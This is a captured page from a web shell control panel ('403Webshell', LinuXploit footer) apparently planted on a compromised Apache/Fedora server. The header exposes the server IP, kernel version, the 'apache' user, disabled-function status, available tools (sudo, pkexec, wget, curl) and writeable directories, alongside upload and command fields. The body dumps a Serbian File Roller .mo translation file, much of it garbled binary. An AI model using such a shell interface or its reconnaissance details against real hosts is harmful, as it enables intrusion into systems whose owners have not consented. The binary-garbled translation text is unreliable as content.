403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/locale/sr/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/sr/LC_MESSAGES/file-roller.mo
		08
iw:u%'
)	1
;FSd=7'
:H`	mw48),-+Z(5 =
Q_{
	7.I\eq
5&!,>!k! 2 N n ~ 5   5 +!<!
N!\!>r!!%!!
!""B."%q"""P"5##Y#
i#(t#(###
##C#==${$O$$4%<%N%!l%%%%%%&!'''''''#(@(P(S(c(
((
((((	((((((
())&)7)
<)G)T)q)'~)))
)))**$*8*U*
k*v********+%(+
N+\+a+.n++++++,,,1,M,#h,,,#,+,
-(-=-
I-T- k-"-$-%-"-".$@.#e. ...(..=/#E/Ki0%00$01&1B1)a1%111115152
H2S2#\2=2T2K3C_3%3$33
44
444
4
	5
5"51575R5d5m5y5
555555
5
5
555

6
6 6
(636B6R6b6r6666666666667729FC9y9:W:s::O<=T<=<<!<
<

==1=M=i=+=i=+>+K>\w>->!?1$?V?j?J?b?d0@X@P@J?ATAAZAZBcBB5B*BB2C
PC
^CiC~CC}C("D3KD7D>D+D"E1ECE"^EEE.EDEF"F8iFTF?F.7GEfG*G2G4
H:?H:zH?HH IU3I$ISIPJSJmJJJsJ4K/AK1qK K.K#KuL@L9L6M?MhMGN
gN;rN^N
OO8OOO{mOfO5PPzP.QU0Q'Q9Q;Q0$RURfRwRRT3UVV+V.<V%kV6V:V%W)W.W NW
oWzW
W'WW
WWWWX%X-X 6X WX2xXXXX$X7YNYghY.Y.Y.Z@HZZZZ+Z.Z!"[
D[(O[-x[[([([!\2\#E\,i\S\$\]!]G@]]&]:]/^.2^=a^^B^<^]0_<_:_8`]?`7`#``a**a.UaCaEaAbBPb>b2b?c.Ec'tcc?c!cYdZxdjf3>g,rg=g
gAg=*hGhh@h'h'i3Ai7uici0j
BjMjAVj]jje|kzk9]l0l1l
m'n
-n8nUnannn nn.no/oAoVohoooo$oo"op#p9p"Tpwpppp p p"q (q$Iq%nqqqqqqqrr7rRr (se}E]
xC0y
?RnO.~Ikd<ot"qTu 
Q*VKL,HZ4B8r_75#FA)-M/jNm	U
S;9=`Wc$@{|Xfsa^6:\Pvg	+%J[!(zDip2b&h'Gl>1wY3%d %B %Y, %H:%M%d object (%s)%d objects (%s)%d object selected (%s)%d objects selected (%s)%s Properties- Create and modify an archive7-Zip (.7z)<i><b>Note:</b> the password will be used to encrypt files you add to the current archive, and to decrypt files you extract from the current archive. When the archive is closed the password will be deleted.</i><span weight="bold" size="larger">Password required</span>A file named "%s" already exists.

%sA folder named "%s" already exists.

%sARCHIVEA_vailable application:Ace (.ace)ActionsAdd FilesAdd FolderAdd a FolderAdd a _Folder...Add a folder to the archiveAdd files asking the name of the archive and quit the programAdd files to an archiveAdd files to the archiveAdd files to the specified archive and quit the programAdd only if _newerAdding file: Adding files to archiveAll archivesAll filesAn archive manager for GNOME.An error occurred while adding files to the archive.An error occurred while deleting files from the archive.An error occurred while extracting files.An error occurred while loading the archive.An error occurred while saving the archive.An error occurred while testing archive.An error occurred.Application does not accept documents on command lineAr (.ar)Archive ManagerArchive _type:Archive created successfullyArchive not createdArchive size:Archive type not supported.Archive:Arj (.arj)AutomaticC_reateCabinet (.cab)Can't pass document URIs to a 'Type=Link' desktop entryClose the current archiveClose the folders paneCommand _Line OutputCommand exited abnormally.Command not found.CompressCompress...Compression ratio:Content size:ContentsCopy the selectionCopying the file listCopyright © 2001-2007 Free Software Foundation, Inc.Could not add the files to the archiveCould not create the archiveCould not create the destination folder: %s.Could not delete the old archive.Could not display helpCould not display the folder "%s"Could not find the volume: %sCould not open "%s"Could not perform the operationCould not rename the fileCould not rename the folderCould not save the archive "%s"Create _ArchiveCreate _FolderCreate a compressed archive with the selected objectsCreate a new archiveCreate and modify an archiveCreate destination folder without asking confirmationCreating archiveCut the selectionDate ModifiedDecompressing archiveDefault folder to use for the '--add' and '--extract' commandsDeleteDelete the selection from the archiveDeleting files from archiveDese_lect AllDeselect all filesDestination folderDestination folder "%s" does not exist.

Do you want to create it?Disable connection to session managerDisplay the File Roller ManualDo not e_xtract older filesDo you want to add this file to the current archive or open it as a new archive?Do you want to create a new archive with these files?E_xclude files:Ear (.ear)Enter the password for the archive '%s'.Exclude folders that are symbolic lin_ksExtractExtract HereExtract To...Extract archiveExtract archives asking the destination folder and quit the programExtract archives to the specified folder and quit the programExtract files from the archiveExtract the contents of the archives in the archive folder and quit the programExtract the selected archiveExtract the selected archive in the current positionExtracting file: Extracting files from archiveExtraction completed successfullyExtraction not performedFILEFOLDERFile RollerFile Roller is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.File Roller is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.File is not a valid .desktop fileFind:FolderFoldersGetting the file listGo to the home locationGo to the next visited locationGo to the previous visited locationGo up one levelIDInclude _files:Information about the programJar (.jar)Last OutputLha (.lzh)Load OptionsLoading archiveLocationLocation:MBModified on:NameName:NewNew file nameNew folder nameNot a launchable itemNumber of files:OpenOpen FilesOpen _RecentOpen a recently used archiveOpen archiveOpen selected files with an applicationOpen the selected fileOpen the selected folderOptions Name:Over_write existing filesPass_word...PasswordPaste SelectionPaste the clipboardPlease use a different name.R_ecent applications:Rar (.rar)Rar Archived Comic Book (.cbr)Re-crea_te foldersReading archiveRecompressing archiveReload current archiveRemoving file: RenameRename the selectionReverse the list orderS_elect the files you want to update:Sa_ve OptionsSaveSave OptionsSave the current archive with a different nameSaving archiveSelect all filesSelf-extracting zip (.exe)Session management options:Show archive propertiesShow session management optionsSizeSort file list by file sizeSort file list by locationSort file list by modification timeSort file list by nameSort file list by typeSpecify a password for this archiveSpecify file containing saved configurationSpecify session management IDSplit in _volumes ofStarting %sStat_usbarStop current operationTar compressed with 7z (.tar.7z)Tar compressed with bzip (.tar.bz)Tar compressed with bzip2 (.tar.bz2)Tar compressed with compress (.tar.Z)Tar compressed with gzip (.tar.gz)Tar compressed with lzip (.tar.lz)Tar compressed with lzma (.tar.lzma)Tar compressed with lzop (.tar.lzo)Tar compressed with xz (.tar.xz)Tar uncompressed (.tar)Test ResultTest whether the archive contains errorsTesting archiveThe archive is already present.  Do you want to overwrite it?The file has been modified with an external application. If you don't update the version in the archive, all of your changes will be lost.There are %d files that have been modified with an external application. If you don't update the files in the archive, all of your changes will be lost.The name "%s" is not valid because it cannot contain the characters: %s

%sThe new name is equal to the old one.The new name is void.This archive type cannot be modifiedTypeUnrecognized desktop file Version '%s'Unrecognized launch option: %dUpdate the file "%s" in the archive "%s"?Update the files in the archive "%s"?View All _FilesView as a F_olderView the folders paneView the main toolbarView the output produced by the last executed commandView the statusbarWar (.war)Xz (.xz)You can't add an archive to itself.You don't have permission to create an archive in this folderYou don't have the right permissions to create an archive in the destination folder.You don't have the right permissions to extract archives in the folder "%s"You don't have the right permissions to read files from folder "%s"You don't have the right permissions.You have to specify an archive name.You should have received a copy of the GNU General Public License along with File Roller; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 USAZip (.zip)Zip Archived Comic Book (.cbz)Zoo (.zoo)[read only]_Add_Add Files..._All files_Application:_Arrange Files_Edit_Encrypt the file list too_Exclude folders:_Extract_Extract..._File_Filename:_Files:_Folders_Help_Include subfolders_Last Output_Load Options_Location:_Open With..._Open the Archive_Other Options_Overwrite_Password:_Rename_Rename..._Reset Options_Reversed Order_Selected files_Show the Files_Test Integrity_Toolbar_Update_Viewby T_ypeby _Date modifiedby _Locationby _Nameby _Sizeexample: *.o; *.bakexample: *.txt; *.doctranslator-creditswait please...Project-Id-Version: file-roller
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=file-roller&component=general
POT-Creation-Date: 2009-07-13 20:19+0000
PO-Revision-Date: 2008-09-20 03:17+0100
Last-Translator: Горан Ракић <grakic@devbase.net>
Language-Team: Serbian (sr) <gnom@prevod.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3;    plural=n%10==1 && n%100!=11 ? 0 :    n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;
%d. %B %Y, %H:%M%d објекат (%s)%d објекта (%s)%d објеката (%s)%d изабран објекат (%s)%d изабрана објекта (%s)%d изабраних објеката (%s)Особине за %s— Направите нове и распакујте постојеће архиве7-Zip (.7z)<i><b>Напомена:</b> лозинка ће бити коришћена за шифровање датотека које додајете у текућу архиву и за дешифровање датотека које распакујете из текуће архиве. Када се архива затвори, лозинка се више неће користити.</i><span weight="bold" size="larger">Неопходна је лозинка</span>Датотека имена „%s" већ постоји.

%sФасцикла имена „%s" већ постоји.

%sАРХИВАД_оступни програм:Ace (.ace)РадњеДодај датотекеДодај фасциклуДодај фасциклуДодај _фасциклу...Додај фасциклу у архивуДодај датотеке питајући за име архиве и изађи из програмаДодај датотеке у архивуДодај датотеке у архивуДодај датотеке у задату архиву и изађи из програмаДодај само ако је нови_јаДодајем датотеку: Додавање датотека у архивуСве архивеСве датотекеАлат за рад са архивама за Гном окружење.Јавила се грешка приликом додавања датотека у архиву.Јавила се грешка приликом уклањања датотека из архиве.Јавила се грешка приликом распакивања датотека.Јавила се грешка приликом учитавања архиве.Јавила се грешка приликом чувања архиве.Јавила се грешка приликом проверавања архиве.Јавила се грешка.Програм не прихвата документе из командне линијеAr (.ar)Управљач архивом_Врста архиве:Архива је успешно направљенаАрхива није направљенаВеличина архиве:Врста архиве није подржана.Архива:Arj (.arj)Аутоматско_НаправиКабинет (.cab)Не могу да проследим адресу документа у „Type=Link“ унос у desktop датотекуЗатвори текућу архивуЗатвори површ са фасцикламаПриказ линије за _унос наредбиНаредба је неочекивано прекинута.Наредба није пронађена.ЗапакујЗапакуј...Ниво сажимања:Величина садржаја:СадржајУмножи изабраноУчитавам списак датотека© 2001-2007 Задужбина за Слободни СофтверНисам могао да додам датотеке у архивуНисам могао да направим архивуНисам могао да направим одредишну фасциклу: %s.Нисам могао уклонити стару архиву.Не могу да прикажем помоћНисам могао да прикажем фасциклу „%s“Не могу да неђем диск: %sНисам могао да отворим „%s“Нисам могао да изведем радњуНе могу да преименујем датотекуНе могу да преименујем фасциклуНисам могао да сачувам архиву „%s“Направи _архивуНаправи _фасциклуПрави запаковану архиву од изабраних објекатаНаправи нову архивуНаправите нове и распакујте постојеће архивеНаправи одредишну фасциклу без потврђивањаПравим архивуИсеци изабраноДатум изменеОд-сажима архивуПодразумевана фасцикла која се користи за '--add' и '--extract' наредбеОбришиОбриши изабрано из архивеБрисање датотека из архивеПоништи иза_браноПоништава избор датотекаОдредишна фасциклаОдредишна фасцикла „%s" не постоји.

Да ли желите да је направите?Онемогући везу са управнико сесијеУпутство за коришћење програмаНе ра_спакуј старије датотекеДа ли желите да додате ову датотеку у већ отворену архиву или да направите нову архиву?Да ли желите да направите нову архиву са овим датотекама?Изу_зми датотеке:Ear (.ear)Наведите лозинку за архиву „%s“.Изузми фасцикле које представљају симбо_личке везеРаспакујРаспакуј овдеРаспакуј у...Распакуј архивуРаспакуј архиве питајући за одредишну фасциклу и изађи из програмаРаспакуј архиве у наведену фасциклу и изађи из програмаРаспакује датотеке из архивеРаспакуј садржај архиве у фасциклу са архивама и изађи из програмаРаспакуј изабрану архивуРаспакуј изабрану архиву на тренутну позицијуРаспакујем датотеку: Распакивање датотека из архивеРаспакивање је успешно завршеноРаспакивање није изведеноДАТОТЕКАФАСЦИКЛАFile RollerУправљач архивом се расподељује у нади да ће бити од користи, али БЕЗ ИКАКВИХ ГАРАНЦИЈА; чак и без подразумеване гаранције КОРИСНОСТИ или ПРИЛАГОЂЕНОСТИ ОДРЕЂЕНОЈ НАМЕНИ.  Видите ГНУ Општу Јавну Лиценцу за више детаља.Управљач архивом је слободан софтвер; можете га расподељивати и/или га мењати под условима ГНУ Опште Јавне Лиценце (GNU GPL) како је објављује Задужбина за Слободни Софтвер (FSF); било верзије 2 те Лиценце, било (по вашем нахођењу) било које новије верзије.Није исправна .desktop датотекаТражи:ФасциклаФасциклеУчитавам списак датотекаИди на полазно местоИди на следеће посећено местоИди на претходно посећено местоИди један ниво изнадИБ_Укључи датотеке:Подаци о програмуJar (.jar)Детаљан исписLha (.lzh)Учитавање подешавањаУчитавам архивуМестоМесто:MBПоследња измена:ИмеИме:НоваНово име датотекеНово име фасциклеСтавка се не може покретатиБрој датотека:ОтвориОтвори датотеке_Скорашњи документиОтвори скоро коришћену архивуОтвори архивуОтвара изабране датотеке помоћу одговарајућег програмаОтвори изабрану датотекуОтвори изабрану фасциклуИме за опције:Препиши п_реко постојећих датотека_Лозинка...ЛозинкаУбаци изабраноУбаци из списка исечакаКористите неко друго име.Н_едавни програми:Rar (.rar)РАР архива стрипа  (.cbr)Поново _образуј фасциклеЧитам архивуПоново сажимам архивуПоново учитава архивуУклањам датотеку: ПреименујПреименуј изабраноОбрнути редослед списка_Изаберите датотеке које желите да ажурирате:Сачу_вај подешавањаСачувајЧување подешавањаСачувај текућу архиву са другим именомЧувам архивуИзабери све датотекеСамораспакујућа Zip датотека (.exe)Опције управника сесијом:Приказује особине архивеПрикажи опције управника сесијомВеличинаПоређај списак датотека по величиниПоређај списак датотека по местуПоређај списак датотека по датуму и времену изменеПоређај списак датотека по именуПоређај списак датотека по типуНаведите лозинку за ову архивуОдредите датотеку која садржи сачувана подешавањаОдредите ИБ управника сесијомПодели на делове одПочињем %s_Статусна линијаПрекида започету радњуTar компресована са 7z (.tar.7z)Tar компресована са bzip програмом (.tar.bz)Tar компресована са bzip2 програмом (.tar.bz2)Tar компресована compress програмом (.tar.Z)Tar компресована са gzip програмом (tar.gz)Tar компресована lzip програмом (.tar.lz)Tar компресована са lzma (.tar.lzma)Tar компресована lzop програмом (.tar.lzo)Tar компресована са xz (.tar.xz)Tar некомпресована (.tar)Резултат провереПровери да ли архива садржи грешкеПроверавам архивуАрхива већ постоји.  Да ли желите да је препишете?%d датотека је измењена програмом са стране. Ако не ажурирате датотеке у архиви, све промене ће бити изгубљене.%d датотеке су измењене програмом са стране. Ако не ажурирате датотеке у архиви, све промене ће бити изгубљене.%d датотека је измењено програмом са стране. Ако не ажурирате датотеке у архиви, све промене ће бити изгубљене.Име „%s“ није исправно зато што не сме да садржи знаке: %s

%sНово име је исто као и старо.Ново име није дозвољено.Не можете мењати ову врсту архивеВрстаНепознато издање desktop датотеке „%s“Непозната опција при покретању: %dДа ажурирам даотеку „%s“ у архиви „%s“?Да ажурирам датотеке у архиви „%s“?Прикажи св_е датотекеПрикажи као _фасциклуПрикажи површ са фасцикламаПриказује линију са иконицамаПогледај излаз који је дала последње извршена наредбаПриказује статусну линијуWar (.war)Xz (.xz)Не можете додати архиву у саму себе.Немате дозволу да направите архиву у овој фасциклиНемате одговарајућа овлашћења за прављење архиве у одредишној фасцикли.Немате овлашћења да распакујете архиве у фасцикли „%s“Немате одговарајућа овлашћења да читате датотеке из фасцикле „%s“Немате одговарајућа овлашћења.Морате навести име архиве.Требали сте да примите примерак ГНУ Опште Јавне Лиценце уз Гкалктул; ако 
нисте, пишите Задужбини за Слободни Софтвер (Free Software Foundation, 
Inc.), 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 USAZip (.zip)ЗИП архива стрипа (.cbz)Zoo (.zoo)[само за читање]_Додај_Додај датотеке..._Све датотеке_Програм:Поређај датоте_ке_Уређивање_Шифруј и списак датотекаИзу_зми фасцикле:_Распакуј_Распакуј..._Датотека_Име датотеке:_Датотеке:_Фасцикле_Помоћ_Укључи подфасциклеДе_таљан испис_Учитај подешавања_Место:О_твори са..._Отвори архиву_Остала подешавања_Препиши_Лозинка:Преимену_јПреимену_ј..._Врати подешавања_Обрнути редослед_Изабране датотекеП_рикажи датотекеПро_вери интегритет_Линија са иконицама_АжурирајП_регледпо _типупо _датуму изменепо _меступо _именупо _величинипример: *.o; *.bakпример: *.txt; *.docСлободан Д. Средојевић <slobo@akrep.be>
Данило Шеган <danilo@prevod.org>
Игор Несторовић <igor@prevod.org>
Горан Ракић <grakic@devbase.net>

http://prevod.org/молим сачекајте...

Youez - 2016 - github.com/yon3zu
LinuXploit